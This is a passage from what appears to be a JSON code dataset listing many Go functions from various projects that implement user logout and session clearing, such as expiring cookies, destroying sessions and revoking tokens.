list\\n\\t// etc ...\\n\\tu.authenticated = false\\n}\",\n \"func (controller *Auth) Logout() {\\n\\tcontroller.distroySession()\\n\\tcontroller.DeleteConnectionCookie()\\n\\tcontroller.Redirect(\\\"/\\\", 200)\\n}\",\n \"func Logout(w http.ResponseWriter, r *http.Request) error {\\n\\tsession, _ := loggedUserSession.Get(r, \\\"authenticated-user-session\\\")\\n\\tsession.Values[\\\"username\\\"] = \\\"\\\"\\n\\treturn session.Save(r, w)\\n}\",\n \"func (h *UserRepos) Logout(ctx context.Context, w http.ResponseWriter, r *http.Request, params map[string]string) error {\\n\\n\\tsess := webcontext.ContextSession(ctx)\\n\\n\\t// Set the access token to empty to logout the user.\\n\\tsess = webcontext.SessionDestroy(sess)\\n\\n\\tif err := sess.Save(r, w); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Redirect the user to the root page.\\n\\treturn web.Redirect(ctx, w, r, \\\"/\\\", http.StatusFound)\\n}\",\n \"func (h *auth) Logout(c echo.Context) error {\\n\\tsession := currentSession(c)\\n\\tif session != nil {\\n\\t\\terr := h.db.Delete(session)\\n\\t\\tif err != nil && h.db.IsNotFound(err) {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn c.NoContent(http.StatusNoContent)\\n}\",\n \"func Logout(c buffalo.Context) error {\\n\\tsessionID := c.Value(\\\"SessionID\\\").(int)\\n\\tadmin := c.Value(\\\"Admin\\\")\\n\\tif admin != nil {\\n\\t\\t// \\\"log out\\\" by unscoping out auth token\\n\\t\\ttoken, err := utils.GenerateScopedToken(admin.(string), 0, sessionID)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn c.Error(http.StatusBadRequest, err)\\n\\t\\t}\\n\\t\\treturn c.Render(http.StatusOK, render.JSON(&common.TokenPayload{\\n\\t\\t\\tToken: token,\\n\\t\\t}))\\n\\t}\\n\\tif err := modelext.DeleteUserSession(c, sessionID); err != nil {\\n\\t\\treturn c.Error(http.StatusInternalServerError, err)\\n\\t}\\n\\treturn c.Render(http.StatusOK, render.JSON(&common.TokenPayload{\\n\\t\\tToken: \\\"\\\",\\n\\t}))\\n}\",\n \"func Logout(w http.ResponseWriter, r *http.Request) {\\r\\n\\t//Get user id of the session\\r\\n\\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\\r\\n\\tdefer cancel()\\r\\n\\tcookie, err := r.Cookie(\\\"sessionId\\\")\\r\\n\\tif err != nil || cookie.Value != \\\"\\\" {\\r\\n\\t\\ttoken, _ := url.QueryUnescape(cookie.Value)\\r\\n\\t\\t_, err = AuthClient.RemoveAuthToken(ctx, &authpb.AuthToken{Token: token})\\r\\n\\t\\texpiration := time.Now()\\r\\n\\t\\tcookie := http.Cookie{Name: \\\"sessionId\\\", Path: \\\"/\\\", HttpOnly: true, Expires: expiration, MaxAge: -1}\\r\\n\\t\\thttp.SetCookie(w, &cookie)\\r\\n\\t}\\r\\n\\tAPIResponse(w, r, 200, \\\"Logout successful\\\", make(map[string]string))\\r\\n}\",\n \"func (a *Auth) Logout(ctx *gin.Context) error {\\n\\tuuid, err := ctx.Cookie(a.cookie)\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// delete redis record\\n\\tif err := a.redis.Del(uuid).Err(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// delete cookie\\n\\thttp.SetCookie(ctx.Writer, &http.Cookie{\\n\\t\\tName: a.cookie,\\n\\t\\tValue: \\\"\\\",\\n\\t\\tExpires: time.Unix(0, 0),\\n\\t})\\n\\treturn nil\\n}\",\n \"func clearSession(response http.ResponseWriter) {\\n cookie := &http.Cookie{\\n Name: \\\"session\\\",\\n Value: \\\"\\\",\\n Path: \\\"/\\\",\\n MaxAge: -1,\\n }\\n http.SetCookie(response, cookie)\\n }\",\n \"func (app *application) logout(w http.ResponseWriter, r *http.Request) {\\n\\tsession, err := app.sessionStore.Get(r, \\\"session-name\\\")\\n\\tif err != nil {\\n\\t\\tapp.serverError(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tif session.Values[\\\"customerID\\\"] != nil {\\n\\t\\tsession.Values[\\\"customerID\\\"] = nil\\n\\t\\tsession.AddFlash(\\\"customer logged out\\\")\\n\\t\\terr = session.Save(r, w)\\n\\t\\tif err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusSeeOther)\\n\\t}\\n\\tif session.Values[\\\"vendorID\\\"] != nil {\\n\\t\\tsession.Values[\\\"vendorID\\\"] = nil\\n\\t\\tsession.AddFlash(\\\"vendor logged out\\\")\\n\\t\\terr = session.Save(r, w)\\n\\t\\tif err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusSeeOther)\\n\\t}\\n}\",\n \"func clearSession(response http.ResponseWriter) {\\n\\tcookie := &http.Cookie{\\n\\t\\tName: \\\"session\\\",\\n\\t\\tValue: \\\"\\\",\\n\\t\\tPath: \\\"/\\\",\\n\\t\\tMaxAge: -1,\\n\\t}\\n\\thttp.SetCookie(response, cookie)\\n}\",\n \"func Logout(w http.ResponseWriter, r *http.Request) {\\n\\tif sessions.GoodSession(r) != true {\\n\\t\\tjson.NewEncoder(w).Encode(\\\"Session Expired. Log out and log back in.\\\")\\n\\t}\\n\\tstore, err := pgstore.NewPGStore(os.Getenv(\\\"PGURL\\\"), key)\\n\\tcheck(err)\\n\\tdefer store.Close()\\n\\n\\tsession, err := store.Get(r, \\\"scheduler-session\\\")\\n\\tcheck(err)\\n\\t// Revoke users authentication\\n\\tsession.Values[\\\"authenticated\\\"] = false\\n\\tw.WriteHeader(http.StatusOK)\\n\\tsession.Options.MaxAge = -1\\n\\tsession.Save(r, w)\\n}\",\n \"func clearSession(writer http.ResponseWriter) {\\n\\tcookie := &http.Cookie{\\n\\t\\tName: \\\"session\\\",\\n\\t\\tValue: \\\"\\\",\\n\\t\\tPath: \\\"/\\\",\\n\\t\\tMaxAge: -1,\\n\\t}\\n\\thttp.SetCookie(writer, cookie)\\n}\",\n \"func Logout(w http.ResponseWriter, r *http.Request) {\\n\\tuser := r.Context().Value(utils.TokenContextKey).(string)\\n\\tmessage := models.Logout(user)\\n\\tutils.JSONResonseWithMessage(w, message)\\n}\",\n \"func (m *Repository) Logout(w http.ResponseWriter, r *http.Request) {\\n\\tif !m.App.Session.Exists(r.Context(), \\\"user_id\\\") {\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusSeeOther)\\n\\t\\treturn\\n\\t}\\n\\n\\t_ = m.App.Session.Destroy(r.Context())\\n\\t_ = m.App.Session.RenewToken(r.Context())\\n\\tm.App.Session.Put(r.Context(), \\\"flash\\\", \\\"Successfully logged out!\\\")\\n\\n\\thttp.Redirect(w, r, \\\"/\\\", http.StatusSeeOther)\\n}\",\n \"func (s *CookieStore) ClearSession(rw http.ResponseWriter, req *http.Request) {\\n\\thttp.SetCookie(rw, s.makeSessionCookie(req, \\\"\\\", time.Hour*-1, time.Now()))\\n}\",\n \"func Logout(res http.ResponseWriter, req *http.Request) {\\n\\t_, ok := cookiesManager.GetCookieValue(req, CookieName)\\n\\tif ok {\\n\\t\\t// cbs.SessionManager.RemoveSession(uuid)\\n\\t\\tcookiesManager.RemoveCookie(res, CookieName)\\n\\t} else {\\n\\t\\tlog.Trace(\\\"Logging out without the cookie\\\")\\n\\t}\\n}\",\n \"func (AuthenticationController) Logout(c *gin.Context) {\\n\\tsession := sessions.Default(c)\\n\\tsession.Clear()\\n\\tif sessionErr := session.Save(); sessionErr != nil {\\n\\t\\tlog.Print(sessionErr)\\n\\t\\tutils.CreateError(c, http.StatusInternalServerError, \\\"Failed to logout.\\\")\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\tc.JSON(http.StatusOK, gin.H{\\\"message\\\": \\\"Logged out...\\\"})\\n}\",\n \"func gwLogout(c *gin.Context) {\\n\\ts := getHostServer(c)\\n\\treqId := getRequestId(s, c)\\n\\tuser := getUser(c)\\n\\tcks := s.conf.Security.Auth.Cookie\\n\\tok := s.AuthManager.Logout(user)\\n\\tif !ok {\\n\\t\\ts.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \\\"auth logout fail\\\", nil)\\n\\t\\treturn\\n\\t}\\n\\tsid, ok := getSid(s, c)\\n\\tif !ok {\\n\\t\\ts.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \\\"session store logout fail\\\", nil)\\n\\t\\treturn\\n\\t}\\n\\t_ = s.SessionStateManager.Remove(sid)\\n\\tc.SetCookie(cks.Key, \\\"\\\", -1, cks.Path, cks.Domain, cks.Secure, cks.HttpOnly)\\n}\",\n \"func (as *AdminServer) Logout(w http.ResponseWriter, r *http.Request) {\\n\\tsession := ctx.Get(r, \\\"session\\\").(*sessions.Session)\\n\\tdelete(session.Values, \\\"id\\\")\\n\\tFlash(w, r, \\\"success\\\", \\\"You have successfully logged out\\\")\\n\\tsession.Save(r, w)\\n\\thttp.Redirect(w, r, \\\"/login\\\", http.StatusFound)\\n}\",\n \"func (am AuthManager) Logout(ctx *Ctx) error {\\n\\tsessionValue := am.readSessionValue(ctx)\\n\\t// validate the sessionValue isn't unset\\n\\tif len(sessionValue) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// issue the expiration cookies to the response\\n\\tctx.ExpireCookie(am.CookieNameOrDefault(), am.CookiePathOrDefault())\\n\\tctx.Session = nil\\n\\n\\t// call the remove handler if one has been provided\\n\\tif am.RemoveHandler != nil {\\n\\t\\treturn am.RemoveHandler(ctx.Context(), sessionValue)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Controller) Logout(ctx context.Context) (err error) {\\n\\t// Build request\\n\\treq, err := c.requestBuild(ctx, \\\"GET\\\", authenticationAPIName, \\\"logout\\\", nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"request building failure: %w\\\", err)\\n\\t}\\n\\t// execute auth request\\n\\tif err = c.requestExecute(ctx, req, nil, false); err != nil {\\n\\t\\terr = fmt.Errorf(\\\"executing request failed: %w\\\", err)\\n\\t}\\n\\treturn\\n}\",\n \"func (auth Authenticate) Logout(session *types.Session) error {\\n\\terr := manager.AccountManager{}.RemoveSession(session, auth.Cache)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func logout(w http.ResponseWriter, r *http.Request) {\\n LOG[INFO].Println(\\\"Executing Logout\\\")\\n clearCache(w)\\n cookie, _ := r.Cookie(LOGIN_COOKIE)\\n cookie.MaxAge = -1\\n cookie.Expires = time.Now().Add(-1 * time.Hour)\\n http.SetCookie(w, cookie)\\n LOG[INFO].Println(\\\"Successfully Logged Out\\\")\\n http.Redirect(w, r, \\\"/welcome\\\", http.StatusSeeOther)\\n}\",\n \"func (session *Session) Logout() error {\\n\\treturn session.Delete(session.TenantID)\\n}\",\n \"func (db *MyConfigurations) logout(c echo.Context) error {\\n\\tfcmToken := c.Request().Header.Get(\\\"fcm-token\\\")\\n\\tdb.GormDB.Where(\\\"token = ?\\\", fcmToken).Delete(&models.DeviceToken{})\\n\\tc.SetCookie(&http.Cookie{\\n\\t\\tName: \\\"Authorization\\\",\\n\\t\\tValue: \\\"\\\",\\n\\t\\tExpires: time.Now(),\\n\\t\\tMaxAge: 0,\\n\\t})\\n\\treturn c.Redirect(http.StatusFound, \\\"/login\\\")\\n}\",\n \"func (a Authorizer) Logout(rw http.ResponseWriter, req *http.Request) error {\\n\\tsession, err := skyring.Store.Get(req, \\\"session-key\\\")\\n\\tif err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error getting the session. error: %v\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tsession.Options.MaxAge = -1\\n\\tif err = session.Save(req, rw); err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error saving the session. error: %v\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a Authorizer) Logout(rw http.ResponseWriter, req *http.Request) error {\\n\\tsession, err := skyring.Store.Get(req, \\\"session-key\\\")\\n\\tif err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error getting the session. error: %v\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\tsession.Options.MaxAge = -1\\n\\tif err = session.Save(req, rw); err != nil {\\n\\t\\tlogger.Get().Error(\\\"Error saving the session. error: %v\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *Model) Logout(ctx context.Context, header string) error {\\n\\tau, err := m.extractTokenMetadata(header)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\terr = m.authDAO.DeleteByID(ctx, au.ID)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (u *UserController) Logout(c *gin.Context) {\\n\\trequestID := requestid.Get(c)\\n\\tau, err := helpers.ExtractTokenMetadata(c.Request, requestID)\\n\\tif err != nil {\\n\\t\\tlogger.Error(logoutLogTag, requestID, \\\"Unable to extract token metadata on logout system, error: %+v\\\", err)\\n\\t\\tc.JSON(http.StatusUnauthorized, \\\"unauthorized\\\")\\n\\t\\treturn\\n\\t}\\n\\tdeleted, delErr := helpers.DeleteAuth(au.AccessUUID)\\n\\tif delErr != nil || deleted == 0 {\\n\\t\\tlogger.Error(logoutLogTag, requestID, \\\"Unable to delete auth on logout system, error: %+v, deleted: %d\\\", delErr, deleted)\\n\\t\\tc.JSON(http.StatusUnauthorized, \\\"user already logout\\\")\\n\\t\\treturn\\n\\t}\\n\\tc.JSON(http.StatusOK, \\\"Successfully logged out\\\")\\n}\",\n \"func (hc *httpContext) clearSession() {\\n\\tsession := hc.getSession()\\n\\tif session == nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tsession.Values[sv[\\\"provider\\\"]] = nil\\n\\tsession.Values[sv[\\\"name\\\"]] = nil\\n\\tsession.Values[sv[\\\"email\\\"]] = nil\\n\\tsession.Values[sv[\\\"user\\\"]] = nil\\n\\tsession.Values[sv[\\\"token\\\"]] = nil\\n\\n\\thc.saveSession(session)\\n}\",\n \"func (cl *APIClient) Logout() *R.Response {\\n\\trr := cl.Request(map[string]string{\\n\\t\\t\\\"COMMAND\\\": \\\"EndSession\\\",\\n\\t})\\n\\tif rr.IsSuccess() {\\n\\t\\tcl.SetSession(\\\"\\\")\\n\\t}\\n\\treturn rr\\n}\",\n \"func (c *Client) Logout() error {\\n\\t_, err := c.Exec(\\\"logout\\\")\\n\\treturn err\\n}\",\n \"func (c UserInfo) Logout() revel.Result {\\n\\tc.Session.Del(\\\"DiscordUserID\\\")\\n\\tc.Response.Status = 200\\n\\treturn c.Render()\\n}\",\n \"func (c App) SignOut() revel.Result {\\n\\tfor k := range c.Session {\\n\\t\\tdelete(c.Session, k)\\n\\t}\\n\\treturn c.Redirect(App.Index)\\n}\",\n \"func Logout(c *gin.Context) {\\n\\ttokenString := util.ExtractToken(c.Request)\\n\\n\\tau, err := util.ExtractTokenMetadata(tokenString)\\n\\tif err != nil {\\n\\t\\tc.JSON(http.StatusUnauthorized, \\\"unauthorized\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tdeleted, delErr := util.DeleteAuth(au.AccessUuid)\\n\\tif delErr != nil || deleted == 0 { //if any goes wrong\\n\\t\\tc.JSON(http.StatusUnauthorized, \\\"unauthorized\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tc.JSON(http.StatusOK, \\\"Successfully logged out\\\")\\n}\",\n \"func (userHandlersImpl UserHandlersImpl) Logout(w http.ResponseWriter, req *http.Request) {\\n\\n\\tresp := \\\"\\\"\\n\\tWriteOKResponse(w, resp)\\n\\n}\",\n \"func (bap *BaseAuthProvider) Logout(ctx *RequestCtx) {\\n\\t// When this is internally called (such as user reset password, or been disabled)\\n\\t// ctx might be nil\\n\\tif ctx.Ctx != nil {\\n\\t\\t//delete token cookie, keep uuid cookie\\n\\t\\tWriteToCookie(ctx.Ctx, AuthTokenName, \\\"\\\")\\n\\t}\\n\\tif ctx.User != nil {\\n\\t\\t(*bap.Mutex).Lock()\\n\\t\\tdelete(bap.TokenCache, ctx.User.Token())\\n\\t\\tbap.TokenToUsername.DelString(ctx.User.Token())\\n\\t\\t(*bap.Mutex).Unlock()\\n\\t\\tlog.Println(\\\"Logout:\\\", ctx.User.Username())\\n\\t}\\n}\",\n \"func (ctrl *UserController) Logout(c *gin.Context) {\\n\\thttp.SetCookie(c.Writer, &http.Cookie{Path: \\\"/\\\", Name: auth.RefreshTokenKey, MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteNoneMode})\\n\\thttp.SetCookie(c.Writer, &http.Cookie{Path: \\\"/\\\", Name: auth.AccessTokenKey, MaxAge: -1, Secure: true, HttpOnly: true, SameSite: http.SameSiteNoneMode})\\n\\n\\tc.JSON(http.StatusOK, utils.Msg(\\\"Logged out\\\"))\\n}\",\n \"func (a *OAuthStrategy) Logout() error {\\n\\taccessToken := a.AccessToken()\\n\\n\\tif accessToken == \\\"\\\" {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := a.OAuthClient.RevokeToken(a.AccessToken()); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ta.SetTokens(\\\"\\\", \\\"\\\")\\n\\n\\treturn nil\\n}\",\n \"func (s *AuthService) Logout(login, refreshToken string) error {\\n\\terr := s.client.Auth.Logout(login, refreshToken)\\n\\treturn err\\n}\",\n \"func (a *authSvc) Logout(ctx context.Context) error {\\n\\taccessUuid, ok := ctx.Value(AccessUuidKey).(string)\\n\\tif !ok {\\n\\t\\treturn errors.New(\\\"access uuid not present in context\\\")\\n\\t}\\n\\tdeleted, err := deleteAuth(\\\"access_token\\\", accessUuid)\\n\\tif err != nil || deleted == 0 {\\n\\t\\treturn errors.New(\\\"not authenticated\\\")\\n\\t}\\n\\trefreshUuid, ok := ctx.Value(RefreshUuidKey).(string)\\n\\tif !ok {\\n\\t\\treturn errors.New(\\\"refresh uuid not present in context\\\")\\n\\t}\\n\\tdeleted, err = deleteAuth(\\\"refresh_token\\\", refreshUuid)\\n\\tif err != nil || deleted == 0 {\\n\\t\\treturn errors.New(\\\"not authenticated\\\")\\n\\t}\\n\\tcookieAccess := getCookieAccess(ctx)\\n\\tcookieAccess.RemoveToken(\\\"jwtAccess\\\")\\n\\tcookieAccess.RemoveToken(\\\"jwtRefresh\\\")\\n\\treturn nil\\n}\",\n \"func (h *Handler) Logout(w http.ResponseWriter, r *http.Request) {\\n\\tswitch r.Method {\\n\\tcase \\\"GET\\\":\\n\\t\\terr := h.Services.User.Logout(Authorized.UUID)\\n\\t\\tif err != nil {\\n\\t\\t\\tJsonResponse(w, r, http.StatusBadRequest, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tJsonResponse(w, r, http.StatusOK, \\\"success\\\")\\n\\tcase \\\"POST\\\":\\n\\tdefault:\\n\\t\\tJsonResponse(w, r, http.StatusBadRequest, \\\"Bad Request\\\")\\n\\t}\\n}\",\n \"func (a *AuthController) Logout(w http.ResponseWriter, r *http.Request) {\\n\\tsession, err := a.store.Get(r, cookieSession)\\n\\tif err != nil {\\n\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t}\\n\\n\\tsession.Values[\\\"authenticated\\\"] = false\\n\\tif err := session.Save(r, w); err != nil {\\n\\t\\tlog.Println(\\\"[ERROR] error saving authenticated session\\\")\\n\\t}\\n\\n\\thttp.Redirect(w, r, \\\"/\\\", http.StatusNoContent)\\n}\",\n \"func (router *router) SignOut(w http.ResponseWriter, r *http.Request) {\\n\\trouter.log.Println(\\\"request received at endpoint: SignOut\\\")\\n\\tif session.IsAuthenticated(w, r) {\\n\\t\\trouter.database.Delete(&schema.Favourite{User: session.GetUser(w, r)})\\n\\t\\tsession.SignOut(w, r)\\n\\t\\trouter.log.Println(\\\"sign out completed redirecting to home page\\\")\\n\\t} else {\\n\\t\\trouter.log.Println(\\\"Not signed in to sign out, redirecting to home page\\\")\\n\\t}\\n\\n\\tHomePage(w, r)\\n\\treturn\\n}\",\n \"func (c *UCSClient) Logout() {\\n\\tif c.IsLoggedIn() {\\n\\t\\tc.Logger.Debug(\\\"Logging out\\\\n\\\")\\n\\t\\treq := ucs.LogoutRequest{\\n\\t\\t\\tCookie: c.cookie,\\n\\t\\t}\\n\\t\\tpayload, err := req.Marshal()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tc.Post(payload)\\n\\t\\tc.cookie = \\\"\\\"\\n\\t\\tc.outDomains = \\\"\\\"\\n\\t}\\n\\tc.Logger.Info(\\\"Logged out\\\\n\\\")\\n}\",\n \"func logoutGuest(w http.ResponseWriter, r *http.Request) {\\n\\n\\tif r.Method == \\\"POST\\\" {\\n\\t\\tusername := template.HTMLEscapeString(r.FormValue(\\\"username\\\"))\\n\\t\\tpassword := template.HTMLEscapeString(r.FormValue(\\\"password\\\"))\\n\\n\\t\\tif password != \\\"\\\" && strings.Contains(username, \\\"guest\\\") && gostuff.SessionManager[username] == password {\\n\\t\\t\\tdelete(gostuff.SessionManager, username)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (s *Server) handleLogout(w http.ResponseWriter, req *http.Request) error {\\n\\t// Intentionally ignore errors that may be caused by the stale session.\\n\\tsession, _ := s.cookieStore.Get(req, UserSessionName)\\n\\tsession.Options.MaxAge = -1\\n\\tdelete(session.Values, \\\"hash\\\")\\n\\tdelete(session.Values, \\\"email\\\")\\n\\t_ = session.Save(req, w)\\n\\tfmt.Fprintf(w, `Log in`)\\n\\treturn nil\\n}\",\n \"func (a *localAuth) Logout(c echo.Context) error {\\n\\treturn a.logout(c)\\n}\",\n \"func Logout(w http.ResponseWriter, r *http.Request) {\\n\\t// TODO JvD: revoke the token?\\n\\thttp.Redirect(w, r, \\\"/login\\\", http.StatusFound)\\n}\",\n \"func (c *Client) Logout(ctx context.Context, authToken *base64.Value) error {\\n\\treturn c.transport.Logout(ctx, authToken)\\n}\",\n \"func AuthPhoneLogout(ctx context.Context) {\\n\\t// nothing to do here since stateless session\\n\\t// needs to be handled on the client\\n\\t// when there's a refresh token, we'll kill it\\n}\",\n \"func Logout(c *gin.Context) {\\n\\tc.SetCookie(\\\"token\\\", \\\"\\\", -1, \\\"\\\", \\\"\\\", false, true)\\n\\n\\tc.Redirect(http.StatusTemporaryRedirect, \\\"/\\\")\\n}\",\n \"func restLogout(w *rest.ResponseWriter, r *rest.Request) {\\n\\tglog.V(2).Info(\\\"restLogout() called.\\\")\\n\\t// Read session cookie and delete session\\n\\tcookie, err := r.Request.Cookie(sessionCookie)\\n\\tif err != nil {\\n\\t\\tglog.V(2).Info(\\\"Unable to read session cookie\\\")\\n\\t} else {\\n\\t\\tdeleteSessionT(cookie.Value)\\n\\t\\tglog.V(2).Infof(\\\"Deleted session %s for explicit logout\\\", cookie.Value)\\n\\t}\\n\\n\\t// Blank out all login cookies\\n\\twriteBlankCookie(w, r, auth0TokenCookie)\\n\\twriteBlankCookie(w, r, sessionCookie)\\n\\twriteBlankCookie(w, r, usernameCookie)\\n\\tw.WriteJson(&simpleResponse{\\\"Logged out\\\", loginLink()})\\n}\",\n \"func (s *ServerConnection) Logout() error {\\n\\t_, err := s.CallRaw(\\\"Session.logout\\\", nil)\\n\\treturn err\\n}\",\n \"func (s LoginSession) Clear() error {\\n\\treq := &request{\\n\\t\\turl: \\\"https://www.reddit.com/api/clear_sessions\\\",\\n\\t\\tvalues: &url.Values{\\n\\t\\t\\t\\\"curpass\\\": {s.password},\\n\\t\\t\\t\\\"uh\\\": {s.modhash},\\n\\t\\t},\\n\\t\\tuseragent: s.useragent,\\n\\t}\\n\\tbody, err := req.getResponse()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif !strings.Contains(body.String(), \\\"all other sessions have been logged out\\\") {\\n\\t\\treturn errors.New(\\\"failed to clear session\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (user *User) Logout() error {\\n\\tuser.IsOnline = false\\n\\tuser.LimitationPeriod = time.Now()\\n\\treturn nil\\n}\",\n \"func (client *Client) Logout() error {\\n\\t_, err := client.SendQuery(NewLogoutQuery())\\n\\treturn err\\n}\",\n \"func Logout(_ *gorm.DB, rc *redis.Client, _ http.ResponseWriter, r *http.Request, s *status.Status) (int, error) {\\n\\tctx := context.Background()\\n\\trequestUsername := getVar(r, model.UsernameVar)\\n\\tclaims := GetTokenClaims(ExtractToken(r))\\n\\ttokenUsername := fmt.Sprintf(\\\"%v\\\", claims[\\\"sub\\\"])\\n\\tif tokenUsername != requestUsername {\\n\\t\\ts.Message = status.LogoutFailure\\n\\t\\treturn http.StatusForbidden, nil\\n\\t}\\n\\ts.Code = status.SuccessCode\\n\\ts.Message = status.LogoutSuccess\\n\\trc.Del(ctx, \\\"access_\\\"+requestUsername)\\n\\treturn http.StatusOK, nil\\n}\",\n \"func (s *RestStore) ClearSession(w http.ResponseWriter, r *http.Request) {\\n\\tw.WriteHeader(http.StatusUnauthorized)\\n\\terrMsg := `\\n\\t{\\n\\t\\t\\\"error\\\": \\\"invalid_token\\\",\\n\\t\\t\\\"token_type\\\": \\\"Bearer\\\",\\n\\t\\t\\\"error_description\\\": \\\"The token has expired.\\\"\\n\\t}`\\n\\tw.Write([]byte(errMsg))\\n}\",\n \"func Logout(c echo.Context) error {\\n\\tuser := c.Get(\\\"user\\\").(*jwt.Token)\\n\\tclaims := user.Claims.(jwt.MapClaims)\\n\\tusername := claims[\\\"name\\\"].(string)\\n\\n\\terr := db.UpdateUserLoggedIn(username, false)\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusInternalServerError, \\\"Error logging out user\\\")\\n\\t}\\n\\n\\treturn c.JSON(http.StatusOK, \\\"User logged out successfully\\\")\\n}\",\n \"func (dsm DSM) EndSession() {\\n\\turl := fmt.Sprintf(\\\"%sauthentication/logout\\\", dsm.RestURL)\\n\\t_, err := grequests.Delete(url, &grequests.RequestOptions{HTTPClient: &dsm.RestClient, Params: map[string]string{\\\"sID\\\": dsm.SessionID}})\\n\\n\\tif err != nil {\\n\\t\\tlog.Println(\\\"Unable to make request\\\", err)\\n\\t}\\n\\n}\",\n \"func (connection *VSphereConnection) Logout(ctx context.Context) {\\n\\tclientLock.Lock()\\n\\tc := connection.Client\\n\\tclientLock.Unlock()\\n\\tif c == nil {\\n\\t\\treturn\\n\\t}\\n\\n\\tm := session.NewManager(c)\\n\\n\\thasActiveSession, err := m.SessionIsActive(ctx)\\n\\tif err != nil {\\n\\t\\tklog.Errorf(\\\"Logout failed: %s\\\", err)\\n\\t\\treturn\\n\\t}\\n\\tif !hasActiveSession {\\n\\t\\tklog.Errorf(\\\"No active session, cannot logout\\\")\\n\\t\\treturn\\n\\t}\\n\\tif err := m.Logout(ctx); err != nil {\\n\\t\\tklog.Errorf(\\\"Logout failed: %s\\\", err)\\n\\t}\\n}\",\n \"func Logout(session *Session) error {\\n\\tif err := cache.Execute(session.Del); err != nil {\\n\\t\\tlogger.Error(\\\"Logout.DelSessionError\\\",\\n\\t\\t\\tlogger.String(\\\"Session\\\", session.String()),\\n\\t\\t\\tlogger.Err(err),\\n\\t\\t)\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *noAuth) Logout(c echo.Context) error {\\n\\treturn a.logout(c)\\n}\",\n \"func (c *controller) Logout(ctx context.Context, request *web.Request) web.Result {\\n\\treturn c.service.LogoutFor(ctx, request.Params[\\\"broker\\\"], request, nil)\\n}\",\n \"func UserLogout(u *User) {\\n\\tconnectedUsers.remove(u.Name)\\n}\",\n \"func Logout(r *http.Request) error {\\n\\n\\tvar session models.Session\\n\\n\\tCookie, err := r.Cookie(CookieKey)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tc := Controller{}\\n\\tdata, err := c.Load(r)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tsession.UUID = Cookie.Value\\n\\n\\tvar updated []models.Session\\n\\tfor _, s := range data.Sessions {\\n\\t\\tif s.UUID == session.UUID {\\n\\t\\t} else {\\n\\t\\t\\tupdated = append(updated, s)\\n\\t\\t}\\n\\t}\\n\\n\\terr = c.StoreSessions(updated, r)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (a *Server) LogoutUser(w http.ResponseWriter, r *http.Request) {\\n\\tfmt.Println(\\\"logout a user\\\")\\n}\",\n \"func signOut(w http.ResponseWriter, r *http.Request) {\\n\\tlogoutUser(w, r)\\n\\tresp := map[string]interface{}{\\n\\t\\t\\\"success\\\": true,\\n\\t}\\n\\tapiResponse(resp, w)\\n}\",\n \"func logoutHandler(res http.ResponseWriter, req *http.Request) {\\n\\tdefer server.LogRequest(req, http.StatusFound)\\n\\n\\tsession.Destroy(req, res)\\n\\trenderBaseTemplate(res, \\\"logout.html\\\", nil)\\n}\",\n \"func logout(c *gin.Context) {\\n\\ttoken := c.GetHeader(\\\"Token\\\")\\n\\tid := c.Query(\\\"id\\\")\\n\\tsqlStatement := `DELETE FROM player_token WHERE player_id = $1 AND token = $2`\\n\\t_, err := db.Exec(sqlStatement, id, token)\\n\\tif handleError(err, c) {\\n\\t\\treturn\\n\\t}\\n\\tc.Status(http.StatusOK)\\n}\",\n \"func logoutHandler(w http.ResponseWriter, r *http.Request, _ map[string]string) {\\n\\tsessionHandler.ClearSession(w, r)\\n\\treturn\\n}\",\n \"func Logout(res 